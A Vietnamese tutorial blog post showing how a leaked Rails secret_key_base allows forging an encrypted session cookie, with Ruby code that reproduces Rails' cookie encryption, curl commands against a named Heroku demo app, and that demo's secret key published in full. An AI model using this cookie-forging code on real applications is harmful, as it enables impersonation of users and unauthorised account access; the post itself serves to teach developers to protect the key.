Hacking session in rails app [Nguy cơ mất an toàn khi để lộ Secret Key Base]
Bài đăng này đã không được cập nhật trong 8 năm
Ngày đầu khi mới làm việc với rails, mình tự hỏi file secrets.yml được gen ra khi tạo mới rails app, với cặp key: value với key là secret_key_base
chứa trong nó, có ý nghĩa gì mà lại được cảnh báo là "Make sure the secrets in this file are kept private if you"re sharing your code publicly."
. Sau này qua tìm hiểu mới nhận ra, chúng ta sẽ vô tình tạo ra lỗ hổng về bảo mật, cũng như tạo điều kiện không thể thuận lợi hơn cho các hacker mũ đen có thể chiếm quyền điều khiển, đánh cắp thông tin từ hệ thống của mình,... nếu chúng ta để lộ thông tin về Secret Key Base
. Trong bài viết này, mình sẽ minh họa cách khai thác Secret Key Base
để hack vào một hệ thống demo
Tình huống tấn công giả định
Để kiểm tra current_user đang logged in hay không, một developer đã viết đoạn code truy xuất thông tin dựa trên session như sau:
def current_user
User.find(session[:user_id]) if session[:user_id].present?
end
Trong tình huống này, ở đây đang sử dụng user_id
để lưu id của user đang đăng nhập (với người khác có thể là id, user,..càng khó đoán, hacker càng khó attack, nhưng cũng khó để những team-mate có thể đoán ra key đó có ý nghĩa gì). Nếu ta biết secret key base
, ta có thể mã hóa đoạn thông tin sau:
malicious_hash = {user_id: 12, session_id: "qwerty69"}
và gửi nó lên server mỗi lần request để đánh lừa hệ thống rằng, ta đang đăng nhập với user có id = 12
. Câu hỏi đặt ra là: chính xác thì với thông tin trên cùng với secret key base
, làm thế nào ta có thể đánh lừa hệ thống? Các bước chính xác là gì, làm thế nào để gen ra được thông tin đã mã hóa đó?
Đào sâu trong source code của rails, mình thấy rails sử dụng class ActiveSupport::KeyGenerato
và ActiveSupport::MessageEncryptor
để mã hóa thông tin lưu trong session (session đang lưu dưới dạng cookie) (tham khảo tại đây và
đây
), từ đó viết được đoạn code mô phỏng lại quá trình mã hóa này:
def generate_encrypted_cookie(data_hash, secret_key_base)
salt = "encrypted cookie" # default value from Rails.application.config.action_dispatch.encrypted_cookie_salt
signed_salt = "signed encrypted cookie" # default value from Rails.application.config.action_dispatch.encrypted_signed_cookie_salt
key_generator = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)
secret = key_generator.generate_key(salt)
sign_secret = key_generator.generate_key(signed_salt)
encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
encryptor.encrypt_and_sign(data_hash)
end
Đây là cách cơ bản mà rails sử dụng để mã hõa session data. Bước tiếp theo là cần lấy session store key
, điều này có thể dàng thực hiện nhờ curl
:
curl -I https://fels81-app.herokuapp.com
Nếu server không được config để redirect curl request đi thì session store key
sẽ nằm trong header trả về như sau:
Set-Cookie: _base-app_session=V3pIUmd4SWIyNk1qeE5lT0Q1bDJkc0d5ZFpQTHl6bVJtaG9NQjQxNmppVWRHV2lQbnpIMXZHdWo3VzNEdXZiZDRZZVA5ZkdNUmhHK1ZCSHludDl1azBsTGMvaGEyR2ZRcTFzb0dHY2xYWWJSd3BYZ25JRTVQZXgwNGlLWmRPbVVJZ0pQK1ZjM0QrdVRhMVI2YXNRUHRnPT0tLWg4d2p6VGZGZ240MVBTeUFBeTRwMlE9PQ%3D%3D--97222e0b92df4fc4dcad959b6e44679f18d416a9; path=/; HttpOnly
_base-app_session
là giá trị cần tìm. Đến đây thì đã đủ nguyên liệu để có thể hack session được rồi:
1.Mã hóa session data:
generate_encrypted_cookie(malicious_hash, secret_key_base)
=> "NjNRNzdGSGpudlYxRkpFbDk5UURpeGF4cDRyK0l5OWhlTk02ODFZa29ZVlo4ZWU4cWVPL295K1NMc2xHYkNPYi0tVUhQWTA4cXNad1pHWnY4TGVITlIvdz09--925ae3956a2a3016e33135025cbfb4c34769089b"
2.Giả mạo request:
Trang web mà mình đang muốn truy cập để lấy thông tin của một user nào đó yêu cầu cần được authen, nếu thành công sẽ trả lại mã 200, nếu không sẽ bị redirect với mã 302. Ta sẽ vượt qua bước authen này bằng việc giả mạo rằng ta đã đăng nhập bằng cách tạo request như sau:
curl -I https://fels81-app.herokuapp.com/users/Tang-Hoai-Duy --cookie "_base-app_session=NjNRNzdGSGpudlYxRkpFbDk5UURpeGF4cDRyK0l5OWhlTk02ODFZa29ZVlo4ZWU4cWVPL295K1NMc2xHYkNPYi0tVUhQWTA4cXNad1pHWnY4TGVITlIvdz09--925ae3956a2a3016e33135025cbfb4c34769089b"
Kết quả như bạn sẽ thấy, server trả về mã 200 và ta đã giả mao thành công mình là user có id = 12! (yeah)
Kết luận
Tất nhiên tình huống và kĩ năng trên chỉ là giả định và khó có thể áp dụng thành công bởi thực tế security của Rails trong những phiên bản mới khá tốt và hiếm khi secret key base bị để lộ ra ngoài. Tuy nhiên có biết có hơn, phòng hơn chống, hi vọng bài viết đem lại thêm chút kiến thức nào đó cho những người đã và đang làm quen với Rails! (lay2)
Resource phục vụ cho demo
- Trang web cần vượt qua authen
- Secret Key Base:
9d1e3546d26c0a640bb78d66e0282e8e00e3834b4a878e3b1ae93dc0f54e40a252c24291b0ddf5a3eb7b453fb3527c7ed7baba2cebbd9eec4dc2cd8beb75346b
Nguồn tham khảo
All rights reserved